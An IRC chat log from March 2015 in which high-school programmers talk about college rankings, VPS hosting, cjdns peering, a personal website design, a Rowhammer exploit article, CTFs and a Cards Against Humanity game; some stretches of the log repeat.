[2015-03-10T20:05:54-0400] <+awe> jwoglom: but you're not anymore, fool.
[2015-03-10T20:06:03-0400] <+awe> jwoglom: I'm just teasing. I don't even believe in these garbage rankings anyway.
[2015-03-10T20:06:13-0400] <+awe> jwoglom: You could get almost identical rankings by sorting schools by family incomes.
[2015-03-10T20:06:29-0400] <jwoglom> awe: probably true, lol
[2015-03-10T20:06:37-0400] <jwoglom> our admissions process is very screwed up
[2015-03-10T20:06:43-0400] <+awe> So I've heard.
[2015-03-10T20:06:59-0400] <jwoglom> and the school is not able to have any input, and barely even talk to the office that determines who makes it in to the school
[2015-03-10T20:07:07-0400] <+awe> Pharyngeal: I don't even know why you have so many boxes anyway. :p
[2015-03-10T20:07:21-0400] <+awe> Pharyngeal: I have three.
[2015-03-10T20:07:25-0400] <+awe> (and they're all DO)
[2015-03-10T20:07:32-0400] <jwoglom> but hey, at least we'll have a shiny new building!!
[2015-03-10T20:07:39-0400] <jwoglom> ..in late 2016, several months after i graduate
[2015-03-10T20:07:47-0400] <Pharyngeal> awe: I had five, I now have three (one of which is fully paid for by an organization I work with)
[2015-03-10T20:07:55-0400] <+awe> Oh, that's cool.
[2015-03-10T20:08:05-0400] <Pharyngeal> awe: Another one of them is a webserver, which hosts sites for others
[2015-03-10T20:08:10-0400] <Pharyngeal> And they pay for the service
[2015-03-10T20:08:39-0400] <JacobEdelman> Ill believe school ratings are legit if and only if I get into Princeton
[2015-03-10T20:08:46-0400] <+awe> I formerly had one box with Ghost and IRC and another with ZNC.
[2015-03-10T20:09:05-0400] <Pharyngeal> Aside from the three paid VPSes, I have one VPS on a friend's server, and a server at home
[2015-03-10T20:09:13-0400] <+awe> I now have two boxes with IRC and one ZNC.
[2015-03-10T20:09:29-0400] <Pharyngeal> Heh, Princeton.
[2015-03-10T20:09:32-0400] <+awe> When I have actual $$$, it might be nice to have a dedicated server to do stuff on.
[2015-03-10T20:09:35-0400] <JacobEdelman> I goods gots one I need to setup for hscs
[2015-03-10T20:09:48-0400] <+awe> You goods gots one?
[2015-03-10T20:10:16-0400] <JacobEdelman> Pharyngeal: I live near it and my brother goes there , it's my dream school
[2015-03-10T20:10:24-0400] <Pharyngeal> I'm just joking around
[2015-03-10T20:10:34-0400] <JacobEdelman> awe: phone hard
[2015-03-10T20:10:38-0400] <alokpathy> Oh wait were you guys talking about the HSS bomb threat?
[2015-03-10T20:10:43-0400] <JacobEdelman> Yes
[2015-03-10T20:10:51-0400] <JacobEdelman> You got details!
[2015-03-10T20:10:52-0400] <Pharyngeal> Penn is alright :P
[2015-03-10T20:11:10-0400] <JacobEdelman> Oops, meant ? Not !
[2015-03-10T20:11:20-0400] <+awe> Pharyngeal: Penn is one of only a few schools where people are doing the research I want to do.
[2015-03-10T20:11:25-0400] <alokpathy> All I know is some guy posted something on Twitter
[2015-03-10T20:11:30-0400] <alokpathy> and boom
[2015-03-10T20:11:33-0400] <Pharyngeal> awe: Remind me which sort of research/which profs?
[2015-03-10T20:11:34-0400] <alokpathy> school evacuated for an hour
[2015-03-10T20:11:40-0400] <alokpathy> Oh, wait, maybe boom was not the right word.
[2015-03-10T20:11:43-0400] <JacobEdelman> Pharyngeal: it's definitely on my list
[2015-03-10T20:11:45-0400] <hardmath123> lol alokpathy 
[2015-03-10T20:11:51-0400] <JacobEdelman> Lol
[2015-03-10T20:11:59-0400] <+awe> Pharyngeal: Programming Language Theory and Type Theory. Ideally, Benjamin Pierce.
[2015-03-10T20:12:08-0400] <Pharyngeal> Ah!
[2015-03-10T20:12:24-0400] <alokpathy> Ah, I think Penn did have somebody who was interested in what I'm intersted in too.
[2015-03-10T20:12:24-0400] <Pharyngeal> Is Zdancewic involved with that too?
[2015-03-10T20:12:31-0400] <+awe> Sometimes.
[2015-03-10T20:12:38-0400] <+awe> He does that and security & privacy.
[2015-03-10T20:12:40-0400] <JacobEdelman> Pharyngeal: what year are you in again?
[2015-03-10T20:12:48-0400] <Pharyngeal> Junior
[2015-03-10T20:12:54-0400] <+awe> I think Zdancewic co-authored the paper on a functional language for differential privacy.
[2015-03-10T20:13:05-0400] <+awe> It's so cool. They actually designed a type system that enforces differential privacy.
[2015-03-10T20:13:13-0400] <Pharyngeal> :)
[2015-03-10T20:14:19-0400] <Pharyngeal> I haven't had class with Pierce yet
[2015-03-10T20:15:57-0400] <JacobEdelman> Pharyngeal: do you know Nick Meyer? He'd be a senior.
[2015-03-10T20:16:08-0400] <Pharyngeal> Yeah, we talked about this before
[2015-03-10T20:16:11-0400] <Pharyngeal> Cousin iirc?
[2015-03-10T20:16:14-0400] <+awe> Yup.
[2015-03-10T20:16:49-0400] <+awe> Pharyngeal: but yeah, basically, Penn and Cornell are the only big-name places I found that have a lot of PLT and type theory.
[2015-03-10T20:18:26-0400] <JacobEdelman> yup, it'd be fun to have him on the irc
[2015-03-10T20:18:57-0400] <JacobEdelman> awe: you're pretty focused on that one specific topic during your freshman year of college
[2015-03-10T20:24:22-0400] <JacobEdelman> Ezra quote of the day: "If your invisible what's the point of being naked"
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[2015-03-10T20:24:33-0400] <alokpathy> The_Master: Welcome back.
[2015-03-10T20:24:37-0400] <alokpathy> We saw your quote.
[2015-03-10T20:24:37-0400] <The_Master> there was context
[2015-03-10T20:24:41-0400] <The_Master> I think
[2015-03-10T20:24:46-0400] <The_Master> hello
[2015-03-10T20:24:47-0400] <JacobEdelman> Jacob quote of the day: "Conversely, if your naked, what’s the point of being invisible?"
[2015-03-10T20:24:47-0400] <alokpathy> No context necessary.
[2015-03-10T20:24:51-0400] <The_Master> bye
[2015-03-10T20:24:52-0400] <JacobEdelman> The_Master: there was none
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[2015-03-10T20:25:03-0400] <alokpathy> Why did Ezra stop coming here?
[2015-03-10T20:25:12-0400] <JacobEdelman> cause he's lazy
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[2015-03-10T20:25:37-0400] <The_Master> this takes effort
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[2015-03-10T20:25:44-0400] <alokpathy> wat
[2015-03-10T20:27:12-0400] <JacobEdelman> watching "Bender
[2015-03-10T20:27:21-0400] <JacobEdelman> *"Bender's Game"
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[2015-03-10T20:38:01-0400] <LittleBobbyTables> I'd bend her game Kappa
[2015-03-10T20:40:47-0400] <nezorg> ...
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[2015-03-10T20:41:51-0400] <nezorg> wait cjdns requires node? :|
[2015-03-10T20:43:20-0400] <bob_twinkles> "On both platforms, installing Node.js, although preferable, is not strictly necessary"
[2015-03-10T20:43:39-0400] <bob_twinkles> that's weird though, last time I looked at it cjdns was a pure c 4 life project
[2015-03-10T20:44:12-0400] <nezorg> awe: what's your cjdns creds?
[2015-03-10T20:46:26-0400] <+awe> nezorg: I gotta encrypt it for you.
[2015-03-10T20:46:32-0400] <+awe> nezorg: do you have a key on keybase yet?
[2015-03-10T20:47:02-0400] <nezorg> wait, isn't it just a public key?
[2015-03-10T20:47:13-0400] <+awe> No, I need to give you a password to connect to me too.
[2015-03-10T20:47:15-0400] <+awe> Peering isn't open.
[2015-03-10T20:47:19-0400] <nezorg> oh
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[2015-03-10T20:48:51-0400] <Pharyngeal> nezorg: Wanna peer?
[2015-03-10T20:48:59-0400] <+awe> nezorg: do you have any key I can encrypt it to you with?
[2015-03-10T20:49:01-0400] <JacobEdelman> "Here, the problem's right there, you have a skull embedded in your head"
[2015-03-10T20:49:08-0400] <+awe> nezorg: and do you want to peer with one of my boxes or both?
[2015-03-10T20:49:25-0400] <+awe> nezorg: erm, one, two, or all three, rather.
[2015-03-10T20:49:54-0400] <+awe> bob_twinkles: all the important stuff is in C.
[2015-03-10T20:50:51-0400] <bob_twinkles> well yeah, it's just that C + node.js is kinda strange
[2015-03-10T20:51:02-0400] <Pharyngeal> cjdns is poorly documented
[2015-03-10T20:51:06-0400] <Pharyngeal> I wish I had more time to work on it
[2015-03-10T20:58:57-0400] <+awe> I wish cjdns was written in Rust.
[2015-03-10T20:59:07-0400] <+awe> But that's how I feel about everything that's written in C/C++.
[2015-03-10T20:59:10-0400] <alokpathy> ernest: Ernest :D
[2015-03-10T20:59:36-0400] <ernest> Hi Alok
[2015-03-10T20:59:40-0400] <bob_twinkles> IIRC the CJDNS wire protocol is actually decently well documented
[2015-03-10T20:59:42-0400] <Tamini> hi ernest!
[2015-03-10T21:00:02-0400] <bob_twinkles> it creates a TUN/TAP device that you route all the things through right?
[2015-03-10T21:00:15-0400] <ernest> Hi tamini
[2015-03-10T21:01:31-0400] <+awe> bob_twinkles: Yeah.
[2015-03-10T21:02:29-0400] <JacobEdelman> ernest: apparently south had a bomb threat and had to evacuate
[2015-03-10T21:02:34-0400] <bob_twinkles> so... as long as you don't mind writing a bit of FFI code, you could totally write a CJDNS router in rust =P
[2015-03-10T21:03:04-0400] <ernest> That happens sometimes
[2015-03-10T21:03:05-0400] <alokpathy> ernest: And we beat South at SO
[2015-03-10T21:03:10-0400] <ernest> What
[2015-03-10T21:03:17-0400] <alokpathy> Well, we as in, the SO team
[2015-03-10T21:03:19-0400] <ernest> Good stuff
[2015-03-10T21:03:23-0400] <alokpathy> Not me.
[2015-03-10T21:03:25-0400] <alokpathy> Ya
[2015-03-10T21:04:52-0400] <JacobEdelman> in the states?
[2015-03-10T21:04:58-0400] <JacobEdelman> that doesn't happen
[2015-03-10T21:05:04-0400] <alokpathy> It did today.
[2015-03-10T21:05:53-0400] <JacobEdelman> wow
[2015-03-10T21:06:03-0400] <Pharyngeal> So, who needs creds?
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[2015-03-10T21:08:41-0400] <+awe> bob_twinkles: Yeah, but I'd actually have to _do_ that.
[2015-03-10T21:09:10-0400] <bob_twinkles> well yeah
[2015-03-10T21:47:15-0400] <hardmath123> awe: Fancy header first draft. Thoughts? I know the taglines are cheesy and pretentious. http://hardmath123.github.io
[2015-03-10T21:48:37-0400] <Hyper> hardmath123: If I wasn't looking for it I wouldn't know to click it. bad UI design,
[2015-03-10T21:49:12-0400] <Hyper> nonuniform width too which is weird and you're probably just using it for testing (I hope)
[2015-03-10T21:49:55-0400] <nezorg> hardmath123: what's supposed to happen when you click on it?
[2015-03-10T21:49:58-0400] <nezorg> nothing's happening for me
[2015-03-10T21:50:47-0400] <Tamini> o-o
[2015-03-10T21:50:49-0400] <Tamini> stuff works for me
[2015-03-10T21:51:07-0400] <Tamini> also lol @ the fact it gets narrower as you go right
[2015-03-10T21:51:47-0400] <hardmath123> { Tamini Hyper } The nonuniform width is like Github's, where things are stacked based on usage.
[2015-03-10T21:51:49-0400] <hardmath123> :P
[2015-03-10T21:52:16-0400] <hardmath123> nezorg: uh browser?
[2015-03-10T21:52:24-0400] <Hyper> hardmath123: it feels weird and unnatural
[2015-03-10T21:52:45-0400] <Hyper> they're already tiny because of the hieght anyways, I had to aim my mouse for the rightmost ones
[2015-03-10T21:53:07-0400] <hardmath123> yeah ik
[2015-03-10T21:53:12-0400] <nezorg> hardmath123: firefox 36.0.1
[2015-03-10T21:53:35-0400] <hardmath123> i dunno, it's supposed to be easter-eggey anyway, so i don't want to make it super-obvious.
[2015-03-10T21:53:50-0400] <hardmath123> (that's why there's no black floating arrow thingy like on Github)
[2015-03-10T21:53:59-0400] <Tamini> iunno
[2015-03-10T21:54:03-0400] <Tamini> the color scheme isnt that great either
[2015-03-10T21:54:07-0400] <Tamini> it's a design miss for me :/
[2015-03-10T21:54:14-0400] <hardmath123> the color scheme is stolen from github :/
[2015-03-10T21:56:16-0400] <Hyper> the color scheme is such that highlighting any of the ones on the right make is the exact color of it's neighbor
[2015-03-10T21:56:21-0400] <Tamini> ^
[2015-03-10T21:57:13-0400] <hardmath123> apparently i have a bias against languages that are green on github?
[2015-03-10T21:57:40-0400] <Hyper> lol
[2015-03-10T21:57:59-0400] <bob_twinkles> IMO the spacing on everything is too large, but I also do everything in 8pt monospace font
[2015-03-10T21:58:09-0400] <bob_twinkles> so possibly not the best reference on that =P
[2015-03-10T22:01:50-0400] <ubuntor> they don't stay long enough when you move the mouse off :/
[2015-03-10T22:02:14-0400] <ernest> This is cool http://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html?m=1
[2015-03-10T22:04:48-0400] <ernest> When do you think we'll see a ctf challenge on it
[2015-03-10T22:04:58-0400] <ernest> Lol
[2015-03-10T22:06:07-0400] <bob_twinkles> I think the exploit is too unstable for that to be practical =P
[2015-03-10T22:06:08-0400] <hardmath123> blargh.
[2015-03-10T22:06:25-0400] <bob_twinkles> 'specially considering the fact that the easy way to get it to work is a heap spray
[2015-03-10T22:06:29-0400] <hardmath123> there was a princeton paper on using UV rays to flip bits and run privileged code
[2015-03-10T22:06:30-0400] <calc0000> did someone say ctf http://www.kalzumeus.com/2015/03/09/announcing-starfighter/
[2015-03-10T22:06:47-0400] <ubuntor> seems a bit too hardware oriented
[2015-03-10T22:06:59-0400] <calc0000> what this thing?
[2015-03-10T22:07:25-0400] <ubuntor> although it would be a cool challenge if it was a in-person, hardware ctf
[2015-03-10T22:11:54-0400] <micrictor> hardmath123 that seems along the lines of that NSA project that aimed to read input/output channels based on EMR leakage
[2015-03-10T22:11:56-0400] <micrictor> Possible
[2015-03-10T22:12:01-0400] <micrictor> but not really useful
[2015-03-10T22:12:16-0400] <micrictor> also, bay area best area
[2015-03-10T22:12:54-0400] <ernest> Same people who did microcorruption, sounds good
[2015-03-10T22:13:51-0400] <hardmath123> micrictor: :D you live around here?
[2015-03-10T22:15:21-0400] <ernest> Here's a "crypto" problem: given n, n*P on an secure elliptic curve, find the original point P
[2015-03-10T22:16:52-0400] <ubuntor> excellent problem :P
[2015-03-10T22:16:59-0400] <+awe> hardmath123: they should be a lot thicker
[2015-03-10T22:17:11-0400] <ubuntor> ^
[2015-03-10T22:18:40-0400] <LittleBobbyTables> So guys
[2015-03-10T22:18:50-0400] <LittleBobbyTables> Out of all the github student pack that I finally got, what's the most useful
[2015-03-10T22:19:51-0400] <jwoglom> LittleBobbyTables: the DO credit
[2015-03-10T22:21:09-0400] <LittleBobbyTables> Are you sure it's not the Unreal Engine? Kappa
[2015-03-10T22:29:07-0400] <+awe> LittleBobbyTables: UE is free now.
[2015-03-10T22:29:12-0400] <+awe> It's definitely the DO credit.
[2015-03-10T22:29:16-0400] <+awe> The DO credit is the only thing I've used.
[2015-03-10T22:29:22-0400] <+awe> And I guess I have one private repository on GitHub.
[2015-03-10T22:30:43-0400] <micrictor> i do
[2015-03-10T22:30:45-0400] <micrictor> san jose
[2015-03-10T22:31:03-0400] <micrictor> yeah the DO credit
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[2015-03-10T22:07:25-0400] <ubuntor> although it would be a cool challenge if it was a in-person, hardware ctf
[2015-03-10T22:11:54-0400] <micrictor> hardmath123 that seems along the lines of that NSA project that aimed to read input/output channels based on EMR leakage
[2015-03-10T22:11:56-0400] <micrictor> Possible
[2015-03-10T22:12:01-0400] <micrictor> but not really useful
[2015-03-10T22:12:16-0400] <micrictor> also, bay area best area
[2015-03-10T22:12:54-0400] <ernest> Same people who did microcorruption, sounds good
[2015-03-10T22:13:51-0400] <hardmath123> micrictor: :D you live around here?
[2015-03-10T22:15:21-0400] <ernest> Here's a "crypto" problem: given n, n*P on an secure elliptic curve, find the original point P
[2015-03-10T22:16:52-0400] <ubuntor> excellent problem :P
[2015-03-10T22:16:59-0400] <+awe> hardmath123: they should be a lot thicker
[2015-03-10T22:17:11-0400] <ubuntor> ^
[2015-03-10T22:18:40-0400] <LittleBobbyTables> So guys
[2015-03-10T22:18:49-0400] <LittleBobbyTables> Out of all the github student pack that I finally got, what's the most useful
[2015-03-10T22:19:51-0400] <jwoglom> LittleBobbyTables: the DO credit
[2015-03-10T22:21:09-0400] <LittleBobbyTables> Are you sure it's not the Unreal Engine? Kappa
[2015-03-10T22:29:07-0400] <+awe> LittleBobbyTables: UE is free now.
[2015-03-10T22:29:12-0400] <+awe> It's definitely the DO credit.
[2015-03-10T22:29:16-0400] <+awe> The DO credit is the only thing I've used.
[2015-03-10T22:29:22-0400] <+awe> And I guess I have one private repository on GitHub.
[2015-03-10T22:30:44-0400] <micrictor> i do
[2015-03-10T22:30:45-0400] <micrictor> san jose
[2015-03-10T22:31:03-0400] <micrictor> yeah the DO credit
[2015-03-10T22:40:55-0400] <ernest> Anyone up for a game of cards against humanity?
[2015-03-10T22:41:00-0400] <ernest> http://pyx-2.pretendyoure.xyz/zy/
[2015-03-10T22:41:19-0400] <Tamini> oh yes please
[2015-03-10T22:41:27-0400] <Tamini> cut me off after one game though, i still have homework left
[2015-03-10T22:43:40-0400] <micrictor> game name?
[2015-03-10T22:44:17-0400] <ernest> Haven't made it
[2015-03-10T22:45:35-0400] <Hyper> sure
[2015-03-10T22:45:47-0400] <Hyper> we should teach awebot to admin CAH games
[2015-03-10T22:45:54-0400] <Hyper> over IRC
[2015-03-10T22:45:55-0400] <Tamini> oh, my friend has a bot for that
[2015-03-10T22:46:02-0400] <jwoglom> in the TJ channels we use a bot, yeah
[2015-03-10T22:46:07-0400] <Tamini> ^
[2015-03-10T22:46:10-0400] <Tamini> devops against humanity <3
[2015-03-10T22:46:22-0400] <jwoglom> i think it's this https://github.com/teeli/irc-cah
[2015-03-10T22:46:25-0400] <Tamini> i am great at being a terrible person B)
[2015-03-10T22:46:26-0400] <Tamini> and yeah
[2015-03-10T22:46:35-0400] <jwoglom> Tamini: DIT against humanity was better :P
[2015-03-10T22:46:38-0400] <jwoglom> assuming you get all the references
[2015-03-10T22:46:59-0400] <nezorg> there's a lot of expansions
[2015-03-10T22:47:03-0400] <nezorg> "cards against homestuck" lol
[2015-03-10T22:47:08-0400] <Hyper> lel
[2015-03-10T22:48:13-0400] <Tamini> jwoglom: well, they wouldnt
[2015-03-10T22:48:26-0400] <Tamini> and homestuck deck isnt as fun unless all the players are hardcore homestucks, unfortunately :/
[2015-03-10T22:48:56-0400] <Tamini> oh, ezra's here.
[2015-03-10T22:49:07-0400] <JacobEdelman> No
[2015-03-10T22:49:18-0400] <JacobEdelman> We are both sleeping
[2015-03-10T22:49:21-0400] <JacobEdelman> Shhhhh
[2015-03-10T22:49:23-0400] <ernest> My username is pdgn_ernest
[2015-03-10T22:49:41-0400] Mode is +nt
[2015-03-10T22:49:46-0400] <nezorg> mine's nezorg
[2015-03-10T22:49:58-0400] <Tamini> nezorg where are youuu
[2015-03-10T22:50:02-0400] <Hyper> http://pyx-2.pretendyoure.xyz/zy/game.jsp#game=66
[2015-03-10T22:50:03-0400] <Tamini> come come come
[2015-03-10T22:50:04-0400] <Hyper> join it
[2015-03-10T22:50:12-0400] <Hyper> I think that links right to the game
[2015-03-10T22:50:21-0400] <micrictor> should
[2015-03-10T22:50:28-0400] <JacobEdelman> Gnight
[2015-03-10T22:50:30-0400] <Tamini> it does
[2015-03-10T22:50:32-0400] <Hyper> k
[2015-03-10T22:50:33-0400] <Tamini> gnight jedelman
[2015-03-10T22:50:38-0400] <Hyper> nighty night
[2015-03-10T22:50:47-0400] <Tamini> omg there's a pax east card deck
[2015-03-10T22:50:49-0400] <Tamini> are you for srs
[2015-03-10T22:51:45-0400] <+awe> Also cool would be an Exploding Kittens IRC bot.
[2015-03-10T22:52:02-0400] <micrictor> cleverbotbot was pretty cool
[2015-03-10T22:52:31-0400] <+awe> micrictor: I can bring up a markov chain-based nonsense bot. :)
[2015-03-10T22:52:40-0400] <+awe> micrictor: it's not as good as cleverbot though.
[2015-03-10T22:54:00-0400] <+awe> hardmath123: you removed them :(
[2015-03-10T22:55:08-0400] <Tamini> they werent attractive!
[2015-03-10T22:55:16-0400] <+awe> I would've liked them if they were bigger.
[2015-03-10T22:59:32-0400] <hardmath123> literally 100% of the people said they disliked it
[2015-03-10T23:00:05-0400] <+awe> I just thought they were too small!
[2015-03-10T23:00:36-0400] <hardmath123> i didn't like them when they were bigger
[2015-03-10T23:00:39-0400] <+awe> I agree that the taglines were too cheese.
[2015-03-10T23:00:39-0400] <Tamini> heh
[2015-03-10T23:00:49-0400] <Tamini> taglines were sorta adorb
[2015-03-10T23:00:50-0400] <Tamini> tbh
[2015-03-10T23:00:56-0400] <hardmath123> it began to look like http://learnyouahaskell.com/chapters
[2015-03-10T23:02:59-0400] <Tamini> oh, gross
[2015-03-10T23:03:01-0400] <Tamini> the colors are uglier here
[2015-03-10T23:03:38-0400] <LittleBobbyTables> wait so what even is digital ocean. Just hosting?
[2015-03-10T23:03:46-0400] <Hyper> LittleBobbyTables: yep
[2015-03-10T23:03:46-0400] <jwoglom> VPS host, yeah
[2015-03-10T23:03:47-0400] <Hyper> VPSes
[2015-03-10T23:03:52-0400] <Hyper> really cheap VPSes
[2015-03-10T23:03:56-0400] <+awe> Really high quality VPSes.
[2015-03-10T23:04:00-0400] <jwoglom> they're good
[2015-03-10T23:04:03-0400] <LittleBobbyTables> mk
[2015-03-10T23:04:34-0400] <+awe> WAIT
[2015-03-10T23:04:37-0400] <+awe> LittleBobbyTables: if you're going to sign up
[2015-03-10T23:04:47-0400] <Hyper> lol
[2015-03-10T23:04:49-0400] <LittleBobbyTables> Too late.
[2015-03-10T23:04:51-0400] <LittleBobbyTables> I signed up.
[2015-03-10T23:04:54-0400] <+awe> DAMMIT
[2015-03-10T23:04:55-0400] <LittleBobbyTables> Like an hour ago
[2015-03-10T23:04:58-0400] <+awe> BUT THE REFERRAL LINK
[2015-03-10T23:05:01-0400] <+awe> I HATE YOU :(
[2015-03-10T23:05:05-0400] <LittleBobbyTables> No you don't
[2015-03-10T23:05:26-0400] <+awe> the referral link would've donated $25 to Pdgn and gotten you a free $10.
[2015-03-10T23:05:56-0400] <Hyper> LittleBobbyTables: tsk tsk
[2015-03-10T23:06:00-0400] <LittleBobbyTables> Well NOW you tell me.
[2015-03-10T23:06:04-0400] <Tamini> bad LittleBobbyTables 
[2015-03-10T23:06:09-0400] <+awe> LittleBobbyTables: did you use your credit yet?
[2015-03-10T23:06:17-0400] <+awe> LittleBobbyTables: if not, you can just make a new DO account/
[2015-03-10T23:06:18-0400] <+awe> ?
[2015-03-10T23:06:37-0400] <LittleBobbyTables> Put the credit into the account already, ye.
[2015-03-10T23:06:42-0400] <+awe> Dammit.
[2015-03-10T23:07:00-0400] <+awe> PSA: If you don't have a DO account yet but are planning to get one, please tell me.
[2015-03-10T23:08:18-0400] <LittleBobbyTables> Any other referrals I could do?
[2015-03-10T23:08:26-0400] <LittleBobbyTables> That are useful, that is.
[2015-03-10T23:08:29-0400] <+awe> Uhh... nah.
[2015-03-10T23:08:39-0400] <+awe> DO is the only non-free service I use except for Namecheap.
[2015-03-10T23:12:41-0400] <micrictor> awe: I just now understood my brothers uname
[2015-03-10T23:12:43-0400] <micrictor> amarkov
[2015-03-10T23:12:45-0400] <micrictor> a markov
[2015-03-10T23:12:48-0400] <micrictor> that fucker
[2015-03-10T23:12:52-0400] <+awe> lol
[2015-03-10T23:39:21-0400] <Hyper> agadflh
[2015-03-10T23:45:38-0400] <ubuntor> oh, we could play devops against humanity: https://github.com/ajanata/PretendYoureXyzzy/wiki/Cardcast
[2015-03-10T23:46:34-0400] <Hyper> ubuntor: not tonight, it seems
[2015-03-10T23:46:46-0400] <ubuntor> next time?
[2015-03-10T23:46:50-0400] <Hyper> sure
[2015-03-10T23:46:52-0400] <Hyper> i'd be down
[2015-03-10T23:47:08-0400] <jwoglom> devops against humanity is pretty awesome
[2015-03-10T23:47:14-0400] <Tamini> it's pretty funny
[2015-03-10T23:47:20-0400] <Tamini> but there are a bunch of sorta
[2015-03-10T23:47:22-0400] <Tamini> insta-win cards
[2015-03-10T23:47:24-0400] <Tamini> which ruins the game a bit
[2015-03-10T23:47:33-0400] <jwoglom> there are also some weird ones
[2015-03-10T23:47:43-0400] <Tamini> mm, yeah
[2015-03-10T23:47:50-0400] <Tamini> we could also totally build a custom deck
[2015-03-10T23:48:04-0400] <jwoglom> if anyone's willing to put in the time
[2015-03-10T23:48:09-0400] <jwoglom> that would be pretty cool
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[2015-03-11T00:20:44-0400] <LittleBobbyTables> Why do I have to put a credit card for DO
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[2015-03-11T00:30:28-0400] <Pharyngeal> LittleBobbyTables: To pay for it?
[2015-03-11T00:31:08-0400] <LittleBobbyTables> But I have $100 in credit
[2015-03-11T00:36:27-0400] <nezorg> well i discovered this gem for the first time today https://www.reddit.com/r/Ooer
[2015-03-11T00:36:50-0400] <Tamini> cough shouldnt you be doing homework
[2015-03-11T00:36:51-0400] <Tamini> and loool
[2015-03-11T00:37:04-0400] <LittleBobbyTables> Didn't I link that awhile ago
[2015-03-11T00:37:24-0400] <nezorg> iunno
[2015-03-11T00:37:30-0400] <nezorg> Tamini: >implying reddit isn't homework
[2015-03-11T00:37:37-0400] <Tamini> it's not? :P
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[2015-03-11T01:40:55-0400] <grantwu> meep
[2015-03-11T01:47:55-0400] <Tamini> meow
[2015-03-11T01:52:47-0400] <grantwu> Have you done your homework
[2015-03-11T01:53:12-0400] <Tamini> i'm doing it now
[2015-03-11T01:53:24-0400] <grantwu> but then why are you reading this :O
[2015-03-11T01:53:35-0400] <Tamini> irc lit up!
[2015-03-11T01:53:35-0400] <grantwu> dun dun dun
[2015-03-11T01:54:36-0400] <Tamini> also i just took a shower so i wouldnt fall asleep on my homework
[2015-03-11T01:54:41-0400] <Tamini> so i'm technically still on break!
[2015-03-11T01:55:31-0400] <grantwu> ...Your break ended in the middle of the week?
[2015-03-11T01:55:36-0400] <Tamini> i meant
[2015-03-11T01:55:37-0400] <Tamini> like
[2015-03-11T01:55:40-0400] <Tamini> on break from homework
[2015-03-11T01:55:44-0400] <grantwu> oh
[2015-03-11T01:55:58-0400] <grantwu> https://www.musixmatch.com/lyrics/Klein-Four/Finite-Simple-Group-of-Order-Two friend posted this on his gf's wall...
[2015-03-11T01:56:00-0400] <grantwu> smh...
[2015-03-11T01:56:08-0400] <Tamini> this song is so good!
[2015-03-11T01:56:24-0400] <Tamini> i know all the words already :P
[2015-03-11T01:57:09-0400] <grantwu> oh
[2015-03-11T01:57:11-0400] <grantwu> I don't...
[2015-03-11T02:00:15-0400] • grantwu: goes back into his hole
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[2015-03-11T07:09:58-0400] <JacobEdelman> I am friends with not one but two Intel Talen Search Finalists (top 40) who are going to DC and meeting Obama
[2015-03-11T07:10:37-0400] <JacobEdelman> Alex Lin (Who is in Pact and I think did his work as part of Pact) and Brice Huang (Who is a crazy smart math person from my school who is also helping to run HSCTF)
[2015-03-11T07:11:00-0400] <JacobEdelman> These are the kinda people that keep my ego from getting too large
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[2015-03-10T23:39:22-0400] <Hyper> agadflh
[2015-03-10T23:45:38-0400] <ubuntor> oh, we could play devops against humanity: https://github.com/ajanata/PretendYoureXyzzy/wiki/Cardcast
[2015-03-10T23:46:34-0400] <Hyper> ubuntor: not tonight, it seems
[2015-03-10T23:46:46-0400] <ubuntor> next time?
[2015-03-10T23:46:50-0400] <Hyper> sure
[2015-03-10T23:46:52-0400] <Hyper> i'd be down
[2015-03-10T23:47:09-0400] <jwoglom> devops against humanity is pretty awesome
[2015-03-10T23:47:14-0400] <Tamini> it's pretty funny
[2015-03-10T23:47:20-0400] <Tamini> but there are a bunch of sorta
[2015-03-10T23:47:22-0400] <Tamini> insta-win cards
[2015-03-10T23:47:25-0400] <Tamini> which ruins the game a bit
[2015-03-10T23:47:33-0400] <jwoglom> there are also some weird ones
[2015-03-10T23:47:43-0400] <Tamini> mm, yeah
[2015-03-10T23:47:50-0400] <Tamini> we could also totally build a custom deck
[2015-03-10T23:48:05-0400] <jwoglom> if anyone's willing to put in the time
[2015-03-10T23:48:09-0400] <jwoglom> that would be pretty cool
[2015-03-11T00:20:44-0400] <LittleBobbyTables> Why do I have to put a credit card for DO
[2015-03-11T00:30:28-0400] <Pharyngeal> LittleBobbyTables: To pay for it?
[2015-03-11T00:31:08-0400] <LittleBobbyTables> But I have $100 in credit
[2015-03-11T00:36:28-0400] <nezorg> well i discovered this gem for the first time today https://www.reddit.com/r/Ooer
[2015-03-11T00:36:50-0400] <Tamini> cough shouldnt you be doing homework
[2015-03-11T00:36:51-0400] <Tamini> and loool
[2015-03-11T00:37:04-0400] <LittleBobbyTables> Didn't I link that awhile ago
[2015-03-11T00:37:24-0400] <nezorg> iunno
[2015-03-11T00:37:30-0400] <nezorg> Tamini: >implying reddit isn't homework
[2015-03-11T00:37:38-0400] <Tamini> it's not? :P
[2015-03-11T01:40:55-0400] <grantwu> meep
[2015-03-11T01:47:55-0400] <Tamini> meow
[2015-03-11T01:52:47-0400] <grantwu> Have you done your homework
[2015-03-11T01:53:13-0400] <Tamini> i'm doing it now
[2015-03-11T01:53:25-0400] <grantwu> but then why are you reading this :O
[2015-03-11T01:53:35-0400] <Tamini> irc lit up!
[2015-03-11T01:53:35-0400] <grantwu> dun dun dun
[2015-03-11T01:54:36-0400] <Tamini> also i just took a shower so i wouldnt fall asleep on my homework
[2015-03-11T01:54:41-0400] <Tamini> so i'm technically still on break!
[2015-03-11T01:55:31-0400] <grantwu> ...Your break ended in the middle of the week?
[2015-03-11T01:55:36-0400] <Tamini> i meant
[2015-03-11T01:55:37-0400] <Tamini> like
[2015-03-11T01:55:40-0400] <Tamini> on break from homework
[2015-03-11T01:55:44-0400] <grantwu> oh
[2015-03-11T01:55:58-0400] <grantwu> https://www.musixmatch.com/lyrics/Klein-Four/Finite-Simple-Group-of-Order-Two friend posted this on his gf's wall...
[2015-03-11T01:56:00-0400] <grantwu> smh...
[2015-03-11T01:56:09-0400] <Tamini> this song is so good!
[2015-03-11T01:56:24-0400] <Tamini> i know all the words already :P
[2015-03-11T01:57:09-0400] <grantwu> oh
[2015-03-11T01:57:11-0400] <grantwu> I don't...
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[2015-03-11T07:09:58-0400] <JacobEdelman> I am friends with not one but two Intel Talen Search Finalists (top 40) who are going to DC and meeting Obama
[2015-03-11T07:10:37-0400] <JacobEdelman> Alex Lin (Who is in Pact and I think did his work as part of Pact) and Brice Huang (Who is a crazy smart math person from my school who is also helping to run HSCTF)
